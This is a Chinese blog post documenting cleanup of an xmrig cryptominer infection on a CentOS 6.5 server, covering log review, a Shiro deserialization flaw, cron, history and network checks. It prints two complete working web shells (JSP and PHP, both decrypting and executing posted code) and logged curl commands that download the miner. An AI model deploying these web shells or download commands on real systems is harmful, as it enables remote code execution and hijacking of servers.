记录一次centos 6.5被xmrig 攻击的处理过程

前言

本次博客仅供小白学习记录

 上月某一天客户反应系统登录不上

 一 top命令查看cpu使用情况

 1.1用top命令看cpu 内存占用,果不其然发现了一个异常的xmrig cpu占用74.9%,

 难怪系统登录不上

  这时不要急着杀死进程,要根据pid找到相关的进程信息

   cd /proc/pid  再查看这个文件夹下的内容

 1.2或者 #查看cpu空闲情况
  free -g 

1.3#查看硬盘资源占用情况 找到占用量大的异常资源
  def -h

1.4找到之后把相关病毒进程和 病毒文件全部删除

二.查看业务服务日志

1. 查看tomcat,nginx等服务日志,查看是否有异常记录

从异常记录中排查是否有攻击记录

2021-02-06 02:34:09,886 [http-bio-8000-exec-18] WARN  [org.apache.shiro.mgt.DefaultSecurityManager] - Delegate RememberMeManager instance of type [org.apache.shiro.web.mgt.CookieRememberMeManager] threw an exception during getRememberedPrincipals().
org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.
    at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82)
    at org.apache.shiro.mgt.AbstractRememberMeManager.deserialize(AbstractRememberMeManager.java:514)

、Apache Shiro 使用公开 AES 秘钥加密传输 使用默认 AES 秘钥的服务器容易遭受反序列化攻击,攻击者能在服务端执行任意代码。 Apache Shiro 在 1.2.4 之前版本中使用 AES 硬编码秘 钥,存在严重的反序列化漏洞,攻击者可以在远程主机上执行任意指令 ,建议 检查 Shiro 版本信息,若 <=1.2.4请升级至 1.2.5 及以上版本 。

参考:https://blog.csdn.net/zhaofuqiangmycomm/article/details/113710254

2.通过日志还发现有广东ip登录系统的,这为非法ip登录,病毒肯定获取到了你系统的账号密码,

 通知系统使用人员把账号密码全部改掉

3.通过日志还发现有上传病毒脚本的代码,

 通过jquer-file-upload 上传,我代码中已禁止上传php ,jsp这样文件的 代码,但它却不知道怎么上传了,赶紧删掉

应该是jQuery-File-Upload的漏洞,版本低的小伙伴赶快升级

jQuery-File-Upload,参考https://blog.csdn.net/niexinming/article/details/86268694

jsp的代码

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

php的

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
	@new C($params);
}
?>

上面代码仅供参考学习 

三. 查看定时任务是否被篡改

  crontab -e 

果然有病毒的定时启动任务。全部干掉

然后再查看crontab日志记录是否有篡改记录,是哪个用户啥时间篡改的

[root@crm2 home]# tail -f /var/log/cron

四.用history命令查看root用户的操作记录

不带时间直接 history 

果然有198.46.202.146记录

 带时间看

修改bashrc环境变量

vim  ~/.bashrc 或者 ~/.bash_profile

export HISTTIMEFORMAT="%F %T  "  

source ~/.bashrc

重新打开shell执行history命令

history 500|grep get_charge_by_month 

五.查看当前所有l查看TCP连接信息

1.netstat -atunlp 这个命令能直接到相关链接程序的信息 

netstat -atunlp |grep  198.46.202.146 

还有个bash脚本的链接

2.查看wget下载连接 ps -ef|egrep wget 

ps -ef|egrep wget "wget"
root     160645 160331  0 03:08 ?        00:00:00 curl -L --progress-bar http://download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
root     160647 160333  0 03:08 ?        00:00:00 curl -L --progress-bar http://download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
root     160655 160583  0 03:08 ?        00:00:00 curl -L --progress-bar http://download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
root     181052 172149  0 18:03 pts/1    00:00:00 egrep curl|wget

3.ps -ef|egrep curl 查看curl链接

4.ps -ef|egrep bash 查看bash 连接

关闭这样异常的链接,这样的连接往往导致cpu异常飙升而 top命令却看不到cpu的使用情况

关闭之后cpu恢复正常

我的 curl版本   7.19.7 

        bash版本 4.1.2 

bash升级 4.4 https://blog.csdn.net/zhaofuqiangmycomm/article/details/113585017

小等于这个版本的小伙伴要小心了

至此病毒的攻击手段和病毒文件都找到了,然后升级bash 和curl

其它漏洞参考

linux阿里云centos6.5漏洞修复命令,48个紧急严重漏洞一一修复

写到最后

病毒说: 哈哈 真的全部找到了吗 

你:应该吧

所以真遇到病毒为了保险期间还是要重装系统加 防火墙加白名单,装杀毒软件等手段的

前提是你要找到病毒的位置和他攻击的手段,不然还可能会被攻入的

防火墙加白名单:https://blog.csdn.net/zhaofuqiangmycomm/article/details/113779658

心得:1.病毒在你系统要总会有服务,链接,定时之类,肯定能找到的,不然它就是死的,对你再也没威胁了

           2.找到病毒的位置和攻击的手段后要重装系统,因为你病毒一旦攻入,你很难清楚它在你系统中到底留了多少后门,病毒

猜你喜欢

转载自blog.csdn.net/zhaofuqiangmycomm/article/details/113482208